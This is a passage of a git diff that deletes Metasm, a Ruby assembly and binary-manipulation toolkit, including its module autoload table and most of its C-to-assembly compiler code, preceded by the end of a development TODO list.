(src1.c -> obj1.o, src2.c -> obj2.o, obj1.o+obj2.o -> bin) - Make generic compiler from cpu.instr_binding ? - create a cpu.what_instr_has_binding(:a => (:a + :b)) => 'add a, b' ? - Shellcode compiler (exit() => mov eax, 1 int 80h inline) - -Decompiler - Fix decompiling on loaded savefile - Rewrite cpu-specific to really dumb - Just translate di.binding to C - maybe w/ trivial var dependency check for unused regs, but beware :incomplete instrs deps - Check interdependency ('xadd') - Move frame pointer checks / stack var detection to C code - Update asm listing from info in C (stack vars, stack var names..) - Handle renaming/retyping register vars / aliases - Handle switch() / computed goto - Fix inline asm reg dependencies - Handle direct syscalls (mov eax, 1 int 80h => exit()) - Autodecode structs - FPU - Handle/hide compiler-generated stuff (getip, stack cookie setup/check..) - Handle call 1f ; 1: pop eax - More user control (force/forbid register arg, return type, etc) - Preserve C decompiled line association to range of asm decoded addrs - -Debugger - OSX - Detour-style functionnality to patch binary code (also static to patch exe files?) - Move constants in a data/ folder (ptrace reg numbers, syscalls, etc) - Generic remote process manip - create blank state - linux virtualallocex - pax-compatible code patch through mmap - Remote debugging (small standalone C client) - Support dbghelp.dll (ms symbol server info) - Support debugee function call (gdb 'call') - -ExeFormat - Handle minor editing without decode/reencode (eg patch ELF entrypoint) - -ELF - test encoding openbsd binaries - handle symbol versions - LoadedELF.dump - Check relocation encoding (eg samples/dynamic_ruby with cpu.generate_PIC=false) - -MachO - -PE - resource editor ? - rc compiler ? - add simple accessor for resource stuff (manifest, icon, ...) - -GUI - debugger - specialize widgets - show breakpoints - show jump direction from current flag values - have a console frontend - zoom font when zooming graph - text selection - map (part of) the binary & debug it (map a PE on a linux host & run it) - -Ruby - write a fast ruby-like interpreter diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb deleted file mode 100644 index 9e27a9681e..0000000000 --- a/lib/metasm/metasm.rb +++ /dev/null @@ -1,88 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm - # root directory for metasm files - # used by some scripts, eg to find samples/dasm-plugin directory - Metasmdir = File.dirname(__FILE__) - # add it to the ruby library path - $: << Metasmdir - - # constants defined in the same file as another - Const_autorequire_equiv = { - 'X86' => 'Ia32', 'PPC' => 'PowerPC', - 'X64' => 'X86_64', 'AMD64' => 'X86_64', - 'MIPS64' => 'MIPS', - 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', - 'DEY' => 'DEX', - 'PTrace' => 'LinOS', 'FatELF' => 'ELF', - 'LoadedELF' => 'ELF', 'LoadedPE' => 'PE', - 'LoadedAutoExe' => 'AutoExe', - 'LinuxRemoteString' => 'LinOS', - 'LinDebugger' => 'LinOS', - 'WinAPI' => 'WinOS', - 'WindowsRemoteString' => 'WinOS', 'WinDbgAPI' => 'WinOS', - 'WinDebugger' => 'WinOS', - 'GdbRemoteString' => 'GdbClient', 'GdbRemoteDebugger' => 'GdbClient', - 'DecodedInstruction' => 'Disassembler', 'DecodedFunction' => 'Disassembler', - 'InstructionBlock' => 'Disassembler', - } - - # files to require to get the definition of those constants - Const_autorequire = { - 'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm', - 'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc', - 'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf', - 'MSP430' => 'cpu/msp430', - 'C' => 'compile_c', - 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', - 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', - 'Shellcode' => 'exe_format/shellcode', 'AutoExe' => 'exe_format/autoexe', - 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', - 'DEX' => 'exe_format/dex', - 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', - 'GameBoyRom' => 'exe_format/gb', - 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', - 'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass', - 'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip', - 'Shellcode_RWX' => 'exe_format/shellcode_rwx', - 'Gui' => 'gui', - 'WindowsExports' => 'os/windows_exports', - 'GNUExports' => 'os/gnu_exports', - 'Debugger' => 'debug', - 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', - 'GdbClient' => 'os/remote', - 'Disassembler' => 'disassemble', - 'Decompiler' => 'decompile', - 'DynLdr' => 'dynldr', - } - - # use the Module.autoload ruby functionnality to load framework components on demand - Const_autorequire.each { |cst, file| - autoload cst, File.join('metasm', file) - } - - Const_autorequire_equiv.each { |cst, eqv| - file = Const_autorequire[eqv] - autoload cst, File.join('metasm', file) - } -end - -# load Metasm core files -%w[main encode decode render exe_format/main os/main].each { |f| - require File.join('metasm', f) -} - - -# remove an 1.9 warning, couldn't find a compatible way... -if Hash.new.respond_to?(:key) - puts "using ruby1.9 workaround for Hash#index warning" if $DEBUG - class Hash - alias index_premetasm index rescue nil - undef index rescue nil - alias index key - end -end diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb deleted file mode 100644 index 63a1b8b86d..0000000000 --- a/lib/metasm/metasm/compile_c.rb +++ /dev/null @@ -1,1463 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/parse_c' - -module Metasm -module C - class Parser - def precompile - @toplevel.precompile(Compiler.new(self, @program)) - self - end - end - - # each CPU defines a subclass of this one - class Compiler - # an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name) - attr_accessor :exeformat - # the C Parser (destroyed by compilation) - attr_accessor :parser - # an array of assembler statements (strings) - attr_accessor :source - # list of unique labels generated (to recognize user-defined ones) - attr_accessor :auto_label_list - # map asm name -> original C name (for exports etc) - attr_accessor :label_oldname - - attr_accessor :curexpr - # allows 'raise self' (eg struct.offsetof) - def exception(msg='EOF unexpected') - ParseError.new "near #@curexpr: #{msg}" - end - - # creates a new CCompiler from an ExeFormat and a C Parser - def initialize(parser, exeformat=nil, source=[]) - exeformat ||= ExeFormat.new - @parser, @exeformat, @source = parser, exeformat, source - @auto_label_list = {} - @label_oldname = {} - end - - def new_label(base='') - lbl = @exeformat.new_label base - @auto_label_list[lbl] = true - lbl - end - - def toplevel ; @parser.toplevel end - def typesize ; @parser.typesize end - def sizeof(*a) @parser.sizeof(*a) end - - # compiles the c parser toplevel to assembler statements in self.source (::Array of ::String) - # - # starts by precompiling parser.toplevel (destructively): - # static symbols are converted to toplevel ones, as nested functions - # uses an ExeFormat (the argument) to create unique label/variable names - # - # remove typedefs/enums - # CExpressions: all expr types are converted to __int8/__int16/__int32/__int64 (sign kept) (incl. ptr), + void - # struct member dereference/array indexes are converted to *(ptr + off) - # coma are converted to 2 statements, ?: are converted to If - # :|| and :&& are converted to If + assignment to temporary - # immediate quotedstrings/floats are converted to references to const static toplevel - # postincrements are replaced by a temporary (XXX arglist) - # compound statements are unnested - # Asm are kept (TODO precompile clobber types) - # Declarations: initializers are converted to separate assignment CExpressions - # Blocks are kept unless empty - # structure dereferences/array indexing are converted to *(ptr + offset) - # While/For/DoWhile/Switch are converted to If/Goto - # Continue/Break are converted to Goto - # Cases are converted to Labels during Switch conversion - # Label statements are removed - # Return: 'return ;' => 'return ; goto ;', 'return;' => 'goto ;' - # If: 'if (a) b; else c;' => 'if (a) goto l1; { c; }; goto l2; l1: { b; } l2:' - # && and || in condition are expanded to multiple If - # functions returning struct are precompiled (in Declaration/CExpression/Return) - # - # in a second phase, unused labels are removed from functions, as noop goto (goto x; x:) - # dead code is removed ('goto foo; bar; baz:' => 'goto foo; baz:') (TODO) - # - # after that, toplevel is no longer valid C (bad types, blocks moved...) - # - # then toplevel statements are sorted (.text, .data, .rodata, .bss) and compiled into asm statements in self.source - # - # returns the asm source in a single string - def compile - cf = @exeformat.unique_labels_cache.keys & @auto_label_list.keys - raise "compile_c name conflict: #{cf.inspect}" if not cf.empty? - @exeformat.unique_labels_cache.update @auto_label_list - - @parser.toplevel.precompile(self) - - # reorder statements (arrays of Variables) following exe section typical order - funcs, rwdata, rodata, udata = [], [], [], [] - @parser.toplevel.statements.each { |st| - if st.kind_of? Asm - @source << st.body - next - end - raise 'non-declaration at toplevel! ' + st.inspect if not st.kind_of? Declaration - v = st.var - if v.type.kind_of? Function - funcs << v if v.initializer # no initializer == storage :extern - elsif v.storage == :extern - elsif v.initializer - if v.type.qualifier.to_a.include?(:const) or - (v.type.kind_of? Array and v.type.type.qualifier.to_a.include?(:const)) - rodata << v - else - rwdata << v - end - else - udata << v - end - } - - if not funcs.empty? - @exeformat.compile_setsection @source, '.text' - funcs.each { |func| c_function(func) } - c_program_epilog - end - - align = 1 - if not rwdata.empty? - @exeformat.compile_setsection @source, '.data' - rwdata.each { |data| align = c_idata(data, align) } - end - - if not rodata.empty? - @exeformat.compile_setsection @source, '.rodata' - rodata.each { |data| align = c_idata(data, align) } - end - - if not udata.empty? - @exeformat.compile_setsection @source, '.bss' - udata.each { |data| align = c_udata(data, align) } - end - - # needed to allow asm parser to use our autogenerated label names - @exeformat.unique_labels_cache.delete_if { |k, v| @auto_label_list[k] } - - @source.join("\n") - end - - # compiles a C function +func+ to asm source into the array of strings +str+ - # in a first pass the stack variable offsets are computed, - # then each statement is compiled in turn - def c_function(func) - # must wait the Declaration to run the CExpr for dynamic auto offsets, - # and must run those statements once only - # TODO alloc a stack variable to maintain the size for each dynamic array - # TODO offset of arguments - # TODO nested function - c_init_state(func) - - # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) - @source << '' - @source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name] - @source << "#{func.name}:" - presource, @source = @source, [] - - c_block(func.initializer) - - tmpsource, @source = @source, presource - c_prolog - @source.concat tmpsource - c_epilog - @source << '' - end - - def c_block(blk) - c_block_enter(blk) - blk.statements.each { |stmt| - case stmt - when CExpression; c_cexpr(stmt) - when Declaration; c_decl(stmt.var) - when If; c_ifgoto(stmt.test, stmt.bthen.target) - when Goto; c_goto(stmt.target) - when Label; c_label(stmt.name) - when Return; c_return(stmt.value) - when Asm; c_asm(stmt) - when Block; c_block(stmt) - else raise - end - } - c_block_exit(blk) - end - - def c_block_enter(blk) - end - - def c_block_exit(blk) - end - - def c_label(name) - @source << "#{name}:" - end - - # fills @state.offset (empty hash) - # automatic variable => stack offset, (recursive) - # offset is an ::Integer or a CExpression (dynamic array) - # assumes offset 0 is a ptr-size-aligned address - # TODO registerize automatic variables - def c_reserve_stack(block, off = 0) - block.statements.each { |stmt| - case stmt - when Declaration - next if stmt.var.type.kind_of? Function - off = c_reserve_stack_var(stmt.var, off) - @state.offset[stmt.var] = off - when Block - c_reserve_stack(stmt, off) - # do not update off, not nested subblocks can overlap - end - } - end - - # computes the new stack offset for var - # off is either an offset from stack start (:ptr-size-aligned) or - # a CExpression [[[expr, +, 7], &, -7], +, off] - def c_reserve_stack_var(var, off) - if (arr_type = var.type).kind_of? Array and (arr_sz = arr_type.length).kind_of? CExpression - # dynamic array ! - arr_sz = CExpression.new(arr_sz, :*, sizeof(nil, arr_type.type), - BaseType.new(:long, :unsigned)).precompile_inner(@parser, nil) - off = CExpression.new(arr_sz, :+, off, arr_sz.type) - off = CExpression.new(off, :+, 7, off.type) - off = CExpression.new(off, :&, -7, off.type) - CExpression.new(off, :+, 0, off.type) - else - al = var.type.align(@parser) - sz = sizeof(var) - case off - when CExpression; CExpression.new(off.lexpr, :+, ((off.rexpr + sz + al - 1) / al * al), off.type) - else (off + sz + al - 1) / al * al - end - end - end - - # here you can add thing like stubs for PIC code - def c_program_epilog - end - - # compiles a C static data definition into an asm string - # returns the new alignment value - def c_idata(data, align) - w = data.type.align(@parser) - @source << ".align #{align = w}" if w > align - - @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] - @source << data.name.dup - len = c_idata_inner(data.type, data.initializer) - len %= w - len == 0 ? w : len - end - - # dumps an anonymous variable definition, appending to the last line of source - # source.last is a label name or is empty before calling here - # return the length of the data written - def c_idata_inner(type, value) - case type - when BaseType - value ||= 0 - - if type.name == :void - @source.last << ':' if not @source.last.empty? - return 0 - end - - @source.last << - case type.name - when :__int8; ' db ' - when :__int16; ' dw ' - when :__int32; ' dd ' - when :__int64; ' dq ' - when :ptr; " d#{%w[x b w x d x x x q][@parser.typesize[type.name]]} " - when :float; ' db ' + [value].pack(@parser.endianness == :little ? 'e' : 'g').unpack('C*').join(', ') + ' // ' - when :double; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' - when :longdouble; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' # XXX same as :double - else raise "unknown idata type #{type.inspect} #{value.inspect}" - end - - @source.last << c_idata_inner_cexpr(value) - - @parser.typesize[type.name] - - when Struct - value ||= [] - @source.last << ':' if not @source.last.empty? - # could .align here, but if there is our label name just before, it should have been .aligned too.. - raise "unknown struct initializer #{value.inspect}" if not value.kind_of? ::Array - sz = 0 - type.members.zip(value).each { |m, v| - if m.name and wsz = type.offsetof(@parser, m.name) and sz < wsz - @source << "db #{wsz-sz} dup(?)" - end - @source << '' - flen = c_idata_inner(m.type, v) - sz += flen - } - - sz - - when Union - value ||= [] - @source.last << ':' if not @source.last.empty? - len = sizeof(nil, type) - raise "unknown union initializer #{value.inspect}" if not value.kind_of? ::Array - idx = value.rindex(value.compact.last) || 0 - raise "empty union initializer" if not idx - wlen = c_idata_inner(type.members[idx].type, value[idx]) - @source << "db #{'0' * (len - wlen) * ', '}" if wlen < len - - len - - when Array - value ||= [] - if value.kind_of? CExpression and not value.op and value.rexpr.kind_of? ::String - elen = sizeof(nil, value.type.type) - @source.last << - case elen - when 1; ' db ' - when 2; ' dw ' - else raise 'bad char* type ' + value.inspect - end << value.rexpr.inspect - - len = type.length || (value.rexpr.length+1) - if len > value.rexpr.length - @source.last << (', 0' * (len - value.rexpr.length)) - end - - elen * len - - elsif value.kind_of? ::Array - @source.last << ':' if not @source.last.empty? - len = type.length || value.length - value.each { |v| - @source << '' - c_idata_inner(type.type, v) - } - len -= value.length - if len > 0 - @source << " db #{len * sizeof(nil, type.type)} dup(0)" - end - - sizeof(nil, type.type) * len - - else raise "unknown static array initializer #{value.inspect}" - end - end - end - - def c_idata_inner_cexpr(expr) - expr = expr.reduce(@parser) if expr.kind_of? CExpression - case expr - when ::Integer; (expr >= 4096) ? ('0x%X' % expr) : expr.to_s - when ::Numeric; expr.to_s - when Variable - case expr.type - when Array; expr.name - else c_idata_inner_cexpr(expr.initializer) - end - when CExpression - if not expr.lexpr - case expr.op - when :& - case expr.rexpr - when Variable; expr.rexpr.name - else raise 'unhandled addrof in initializer ' + expr.rexpr.inspect - end - #when :* - when :+; c_idata_inner_cexpr(expr.rexpr) - when :-; ' -' << c_idata_inner_cexpr(expr.rexpr) - when nil - e = c_idata_inner_cexpr(expr.rexpr) - if expr.rexpr.kind_of? CExpression - e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" - end - e - else raise 'unhandled initializer expr ' + expr.inspect - end - else - case expr.op - when :+, :-, :*, :/, :%, :<<, :>>, :&, :|, :^ - e = '(' << c_idata_inner_cexpr(expr.lexpr) << - expr.op.to_s << c_idata_inner_cexpr(expr.rexpr) << ')' - if expr.type.integral? - # db are unsigned - e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" - end - e - #when :'.' - #when :'->' - #when :'[]' - else raise 'unhandled initializer expr ' + expr.inspect - end - end - else raise 'unhandled initializer ' + expr.inspect - end - end - - def c_udata(data, align) - @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] - @source << "#{data.name} " - @source.last << - case data.type - when BaseType - len = @parser.typesize[data.type.name] - case data.type.name - when :__int8; 'db ?' - when :__int16; 'dw ?' - when :__int32; 'dd ?' - when :__int64; 'dq ?' - else "db #{len} dup(?)" - end - else - len = sizeof(data) - "db #{len} dup(?)" - end - len %= align - len == 0 ? align : len - end - - # return non-nil if the variable name is unsuitable to appear as is in the asm listing - # eg filter out asm instruction names - def check_reserved_name(var) - return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name) - %w[db dw dd dq].include?(var.name) - end - end - - class Statement - # all Statements/Declaration must define a precompile(compiler, scope) method - # it must append itself to scope.statements - - # turns a statement into a new block - def precompile_make_block(scope) - b = Block.new scope - b.statements << self - b - end - end - - class Block - # precompile all statements, then simplifies symbols/structs types - def precompile(compiler, scope=nil) - stmts = @statements.dup - @statements.clear - stmts.each { |st| - compiler.curexpr = st - st.precompile(compiler, self) - } - - # cleanup declarations - @symbol.delete_if { |n, s| not s.kind_of? Variable } - @struct.delete_if { |n, s| not s.kind_of? Union } - @symbol.each_value { |var| - CExpression.precompile_type(compiler, self, var, true) - } - @struct.each_value { |var| - next if not var.members - var.members.each { |m| - CExpression.precompile_type(compiler, self, m, true) - } - } - scope.statements << self if scope and not @statements.empty? - end - - # removes unused labels, and in-place goto (goto toto; toto:) - def precompile_optimize - list = [] - precompile_optimize_inner(list, 1) - precompile_optimize_inner(list, 2) - end - - # step 1: list used labels/unused goto - # step 2: remove unused labels - def precompile_optimize_inner(list, step) - lastgoto = nil - hadref = false - walk = lambda { |expr| - next if not expr.kind_of? CExpression - # gcc's unary && support - if not expr.op and not expr.lexpr and expr.rexpr.kind_of? Label - list << expr.rexpr.name - else - walk[expr.lexpr] - if expr.rexpr.kind_of? ::Array - expr.rexpr.each { |r| walk[r] } - else - walk[expr.rexpr] - end - end - } - @statements.dup.each { |s| - lastgoto = nil if not s.kind_of? Label - case s - when Block - s.precompile_optimize_inner(list, step) - @statements.delete s if step == 2 and s.statements.empty? - when CExpression; walk[s] if step == 1 - when Label - case step - when 1 - if lastgoto and lastgoto.target == s.name - list << lastgoto - list.delete s.name if not hadref - end - when 2; @statements.delete s if not list.include? s.name - end - when Goto, If - s.kind_of?(If) ? g = s.bthen : g = s - case step - when 1 - hadref = list.include? g.target - lastgoto = g - list << g.target - when 2 - if list.include? g - idx = @statements.index s - @statements.delete s - @statements[idx, 0] = s.test if s != g and not s.test.constant? - end - end - end - } - list - end - - # noop - def precompile_make_block(scope) self end - - def continue_label ; defined?(@continue_label) ? @continue_label : @outer.continue_label end - def continue_label=(l) @continue_label = l end - def break_label ; defined?(@break_label) ? @break_label : @outer.break_label end - def break_label=(l) @break_label = l end - def return_label ; defined?(@return_label) ? @return_label : @outer.return_label end - def return_label=(l) @return_label = l end - def nonauto_label=(l) @nonauto_label = l end - def nonauto_label ; defined?(@nonauto_label) ? @nonauto_label : @outer.nonauto_label end - def function ; defined?(@function) ? @function : @outer.function end - def function=(f) @function = f end - end - - class Declaration - def precompile(compiler, scope) - if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) - old = @var.name - ref = scope.symbol.delete old - if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer) - if n = compiler.label_oldname.index(old) - # reuse same name as predeclarations - @var.name = n - else - newname = old - newname = compiler.new_label newname until newname != old - if not compiler.check_reserved_name(@var) - compiler.label_oldname[newname] = old - end - @var.name = newname - end - ref ||= scope.symbol[@var.name] || @var - # append only one actual declaration for all predecls (the one with init, or the last uninit) - scope.statements << self if ref.eql?(@var) - else - @var.name = compiler.new_label @var.name until @var.name != old - compiler.toplevel.statements << self - end - compiler.toplevel.symbol[@var.name] = ref - else - scope.symbol[@var.name] ||= @var - appendme = true if scope.symbol[@var.name].eql?(@var) - end - - if i = @var.initializer - if @var.type.kind_of? Function - if @var.type.type.kind_of? Union - s = @var.type.type - v = Variable.new - v.name = compiler.new_label('return_struct_ptr') - v.type = Pointer.new(s) - CExpression.precompile_type(compiler, scope, v) - @var.type.args.unshift v - @var.type.type = v.type - end - i.function = @var - i.return_label = compiler.new_label('epilog') - i.nonauto_label = {} - i.precompile(compiler) - Label.new(i.return_label).precompile(compiler, i) - i.precompile_optimize - # append now so that static dependencies are declared before us - # TODO no pure inline if addrof(func) needed - scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' - elsif scope != compiler.toplevel and @var.storage != :static - scope.statements << self if appendme - Declaration.precompile_dyn_initializer(compiler, scope, @var, @var.type, i) - @var.initializer = nil - else - scope.statements << self if appendme - @var.initializer = Declaration.precompile_static_initializer(compiler, @var.type, i) - end - else - scope.statements << self if appendme - end - end - - # turns an initializer to CExpressions in scope.statements - def self.precompile_dyn_initializer(compiler, scope, var, type, init) - case type = type.untypedef - when Array - # XXX TODO type.length may be dynamic !! - case init - when CExpression - # char toto[] = "42" - if not init.kind_of? CExpression or init.op or init.lexpr or not init.rexpr.kind_of? ::String - raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - init = init.rexpr.unpack('C*') + [0] - init.map! { |chr| CExpression.new(nil, nil, chr, type.type) } - precompile_dyn_initializer(compiler, scope, var, type, init) - - when ::Array - type.length ||= init.length - # len is an Integer - init.each_with_index { |it, idx| - next if not it - break if idx >= type.length - idx = CExpression.new(nil, nil, idx, BaseType.new(:long, :unsigned)) - v = CExpression.new(var, :'[]', idx, type.type) - precompile_dyn_initializer(compiler, scope, v, type.type, it) - } - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - when Union - case init - when CExpression, Variable - if init.type.untypedef.kind_of? BaseType - # works for struct foo bar[] = {0}; ... - type.members.each { |m| - v = CExpression.new(var, :'.', m.name, m.type) - precompile_dyn_initializer(compiler, scope, v, v.type, init) - } - elsif init.type.untypedef.kind_of? type.class - CExpression.new(var, :'=', init, type).precompile(compiler, scope) - else - raise "bad initializer #{init.inspect} for #{var.inspect}" - end - when ::Array - init.each_with_index{ |it, idx| - next if not it - m = type.members[idx] - v = CExpression.new(var, :'.', m.name, m.type) - precompile_dyn_initializer(compiler, scope, v, m.type, it) - } - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - else - case init - when CExpression - CExpression.new(var, :'=', init, type).precompile(compiler, scope) - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - end - end - - # returns a precompiled static initializer (eg string constants) - def self.precompile_static_initializer(compiler, type, init) - # TODO - case type = type.untypedef - when Array - if init.kind_of? ::Array - init.map { |i| precompile_static_initializer(compiler, type.type, i) } - else - init - end - when Union - if init.kind_of? ::Array - init.zip(type.members).map { |i, m| precompile_static_initializer(compiler, m.type, i) } - else - init - end - else - if init.kind_of? CExpression and init = init.reduce(compiler) and init.kind_of? CExpression - if not init.op and init.rexpr.kind_of? ::String - v = Variable.new - v.storage = :static - v.name = 'char_' + init.rexpr.gsub(/[^a-zA-Z]/, '')[0, 8] - v.type = Array.new(type.type) - v.type.length = init.rexpr.length + 1 - v.type.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, init.rexpr, type) - Declaration.new(v).precompile(compiler, compiler.toplevel) - init.rexpr = v - end - init.rexpr = precompile_static_initializer(compiler, init.rexpr.type, init.rexpr) if init.rexpr.kind_of? CExpression - init.lexpr = precompile_static_initializer(compiler, init.lexpr.type, init.lexpr) if init.lexpr.kind_of? CExpression - end - init - end - end - end - - class If - def precompile(compiler, scope) - expr = lambda { |e| e.kind_of?(CExpression) ? e : CExpression.new(nil, nil, e, e.type) } - - if @bthen.kind_of? Goto or @bthen.kind_of? Break or @bthen.kind_of? Continue - # if () goto l; else b; => if () goto l; b; - if belse - t1 = @belse - @belse = nil - end - - # need to convert user-defined Goto target ! - @bthen.precompile(compiler, scope) - @bthen = scope.statements.pop # break => goto break_label - elsif belse - # if () a; else b; => if () goto then; b; goto end; then: a; end: - t1 = @belse - t2 = @bthen - l2 = compiler.new_label('if_then') - @bthen = Goto.new(l2) - @belse = nil - l3 = compiler.new_label('if_end') - else - # if () a; => if (!) goto end; a; end: - t1 = @bthen - l2 = compiler.new_label('if_end') - @bthen = Goto.new(l2) - @test = CExpression.negate(@test) - end - - @test = expr[@test] - case @test.op - when :'&&' - # if (c1 && c2) goto a; => if (!c1) goto b; if (c2) goto a; b: - l1 = compiler.new_label('if_nand') - If.new(CExpression.negate(@test.lexpr), Goto.new(l1)).precompile(compiler, scope) - @test = expr[@test.rexpr] - precompile(compiler, scope) - when :'||' - l1 = compiler.new_label('if_or') - If.new(expr[@test.lexpr], Goto.new(@bthen.target)).precompile(compiler, scope) - @test = expr[@test.rexpr] - precompile(compiler, scope) - else - @test = CExpression.precompile_inner(compiler, scope, @test) - t = @test.reduce(compiler) - if t.kind_of? ::Integer - if t == 0 - Label.new(l1, nil).precompile(compiler, scope) if l1 - t1.precompile(compiler, scope) if t1 - Label.new(l2, nil).precompile(compiler, scope) if l2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - else - scope.statements << @bthen - Label.new(l1, nil).precompile(compiler, scope) if l1 - Label.new(l2, nil).precompile(compiler, scope) if l2 - t2.precompile(compiler, scope) if t2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - end - return - end - scope.statements << self - end - - Label.new(l1, nil).precompile(compiler, scope) if l1 - t1.precompile(compiler, scope) if t1 - Goto.new(l3).precompile(compiler, scope) if l3 - Label.new(l2, nil).precompile(compiler, scope) if l2 - t2.precompile(compiler, scope) if t2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - end - end - - class For - def precompile(compiler, scope) - if init - @init.precompile(compiler, scope) - scope = @init if @init.kind_of? Block - end - - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label 'for_continue' - @body.break_label = compiler.new_label 'for_break' - label_test = compiler.new_label 'for_test' - - Label.new(label_test).precompile(compiler, scope) - if test - If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) - end - - @body.precompile(compiler, scope) - - Label.new(@body.continue_label).precompile(compiler, scope) - if iter - @iter.precompile(compiler, scope) - end - - Goto.new(label_test).precompile(compiler, scope) - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class While - def precompile(compiler, scope) - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label('while_continue') - @body.break_label = compiler.new_label('while_break') - - Label.new(@body.continue_label).precompile(compiler, scope) - - If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) - - @body.precompile(compiler, scope) - - Goto.new(@body.continue_label).precompile(compiler, scope) - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class DoWhile - def precompile(compiler, scope) - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label('dowhile_continue') - @body.break_label = compiler.new_label('dowhile_break') - loop_start = compiler.new_label('dowhile_start') - - Label.new(loop_start).precompile(compiler, scope) - - @body.precompile(compiler, scope) - - Label.new(@body.continue_label).precompile(compiler, scope) - - If.new(@test, Goto.new(loop_start)).precompile(compiler, scope) - - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class Switch - def precompile(compiler, scope) - var = Variable.new - var.storage = :register - var.name = compiler.new_label('switch') - var.type = @test.type - var.initializer = @test - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - - @body = @body.precompile_make_block scope - @body.break_label = compiler.new_label('switch_break') - @body.precompile(compiler) - default = @body.break_label - # recursive lambda to change Case to Labels - # dynamically creates the If sequence - walk = lambda { |blk| - blk.statements.each_with_index { |s, i| - case s - when Case - label = compiler.new_label('case') - if s.expr == 'default' - default = label - elsif s.exprup - If.new(CExpression.new(CExpression.new(var, :'>=', s.expr, BaseType.new(:int)), :'&&', - CExpression.new(var, :'<=', s.exprup, BaseType.new(:int)), - BaseType.new(:int)), Goto.new(label)).precompile(compiler, scope) - else - If.new(CExpression.new(var, :'==', s.expr, BaseType.new(:int)), - Goto.new(label)).precompile(compiler, scope) - end - blk.statements[i] = Label.new(label) - when Block - walk[s] - end - } - } - walk[@body] - Goto.new(default).precompile(compiler, scope) - scope.statements << @body - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class Continue - def precompile(compiler, scope) - Goto.new(scope.continue_label).precompile(compiler, scope) - end - end - - class Break - def precompile(compiler, scope) - Goto.new(scope.break_label).precompile(compiler, scope) - end - end - - class Return - def precompile(compiler, scope) - if @value - @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression - if @value.type.untypedef.kind_of? Union - @value = @value.precompile_inner(compiler, scope) - func = scope.function.type - CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) - @value = func.args.first - else - # cast to function return type - @value = CExpression.new(nil, nil, @value, scope.function.type.type).precompile_inner(compiler, scope) - end - scope.statements << self - end - Goto.new(scope.return_label).precompile(compiler, scope) - end - end - - class Label - def precompile(compiler, scope) - if name and (not compiler.auto_label_list[@name]) - @name = scope.nonauto_label[@name] ||= compiler.new_label(@name) - end - scope.statements << self - if statement - @statement.precompile(compiler, scope) - @statement = nil - end - end - end - - class Case - def precompile(compiler, scope) - @expr = CExpression.precompile_inner(compiler, scope, @expr) - @exprup = CExpression.precompile_inner(compiler, scope, @exprup) if exprup - super(compiler, scope) - end - end - - class Goto - def precompile(compiler, scope) - if not compiler.auto_label_list[@target] - @target = scope.nonauto_label[@target] ||= compiler.new_label(@target) - end - scope.statements << self - end - end - - class Asm - def precompile(compiler, scope) - scope.statements << self - # TODO CExpr.precompile_type(clobbers) - end - end - - class CExpression - def precompile(compiler, scope) - i = precompile_inner(compiler, scope, false) - scope.statements << i if i - end - - # changes obj.type to a precompiled type - # keeps struct/union, change everything else to __int\d - # except 